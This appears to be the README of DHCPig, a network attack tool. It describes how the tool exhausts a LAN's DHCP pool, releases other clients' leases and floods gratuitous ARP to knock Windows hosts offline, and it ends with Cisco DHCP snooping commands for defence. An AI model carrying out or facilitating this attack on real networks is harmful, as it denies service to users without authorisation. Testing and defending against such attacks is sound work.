DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs on the LAN, stop new users from obtaining IPs, release any IPs in use, then for good measure send gratuitous ARP and knock all windows hosts offline.
It requires scapy >=2.1 library and admin privileges to execute. No configuration necessary, just pass the interface as a parameter. It has been tested on multiple Linux distributions and multiple DHCP servers (ISC,Windows 2k3/2k8,..).
When executed the script will perform the following actions:
-
Grab your Neighbors IPs before they do
Listen for DHCP Requests from other clients if offer detected, respond with request for that offer. -
Request all available IP addresses in Zone
Loop and Send DHCP Requests all from different hosts & MAC addresses -
Find your Neighbors MAC & IP and release their IP from DHCP server
ARP for all neighbors on that LAN, then send DHCPReleases to server
Finally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds) and then
- Knock all Windows systems offline
gratuitous ARP the LAN, and since no additional DHCP addresses are available these windows systems should stay offline. Linux systems will not give up IP even when another system on LAN is detected with same IP.

1.6 : 2024-01
* support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque
1.5 : 2017-1
* Better support for WiFi. pig no longer spoofs the ethernet frame src MAC address, just chaddr.
* Updated DHCP fingerprint to match existing operating systems. Some routers will only respond to known devices.
* Changed the BOOTP flag to broadcast from unicast. FIOS routers will only respond if broadcast BOOTP option is set.
* Feedback welcome, pig is now running well on the networks we have tested on.
1.0 : 2015-1
* more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output
* more options, double the fun: scapy fuzzing, ipv6 support
* more options, more fun: show options/show icmp/show arp
* fixed indents, beautify doc, eyefriendly one-line-logging

most common approach to defending DHCP exhaustion is via access layer switching or wireless controllers.
In cisco switching simplest option is to enable DHCP snooping. Snooping will defend against pool exhaustion, IP hijacking, and DHCP sever spoofing all of which are used in DHCPig. Based on examined traffic, DHCP snooping will create a mapping table from IP to mac on each port. User access ports are then restricted to only the given IP. Any DHCP server messages originating from untrusted ports are filtered.
enable the following to defend against pool exhaustion, IP hijacking, and DHCP sever spoofing:
-
enable snooping
ip dhcp snooping -
specify which port your DHCP is associated with. Most likely this is your uplink. Doing the following will limit DHCP server responses to only the specified port, so use after testing in lab environment.
int fa0/1(or correct interface)ip dhcp snooping trust -
show status
show ip dhcp snoppingshow ip dhcp snopping binding -
